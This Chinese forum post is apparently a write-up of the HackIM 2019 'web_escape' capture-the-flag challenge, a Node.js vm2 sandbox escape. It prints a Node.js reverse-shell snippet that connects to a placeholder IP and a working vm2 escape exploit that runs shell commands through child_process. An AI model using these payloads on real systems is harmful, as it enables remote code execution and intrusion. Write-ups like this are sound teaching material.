查看: 109|回复: 0

[Web] hackim_2019_web_escape

[复制链接]
发表于 2020-4-21 17:37:34 | 显示全部楼层 |阅读模式

hackim_2019_web_escape

hackim_2019_web_escape

可以看到是关于Node.JS沙箱逃逸的。
可以先查看目标模块的信息:
/run?js=Error().stack

hackim_2019_web_escape

hackim_2019_web_escape

可以看出题目设置的模块vm2。所以可能下面这个反弹shell的模块不适用:
(function () {
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(your_port, "your_ip", function () {
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
赛后看源码可以看出这里过滤了whilefor
可以去看github上的vm2模块的issue,里面也有很多提交的escapeexp,找一个使用:
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
    value:new Proxy({},{
        getPrototypeOf(target){
            if(this.t)
                throw Buffer.from;
            this.t=true;
            return Object.getPrototypeOf(target);
        }
    })
});
}catch(e){
    process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("ls").toString()

hackim_2019_web_escape

hackim_2019_web_escape

cat iamnotwhatyouthink就可以得到flag
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表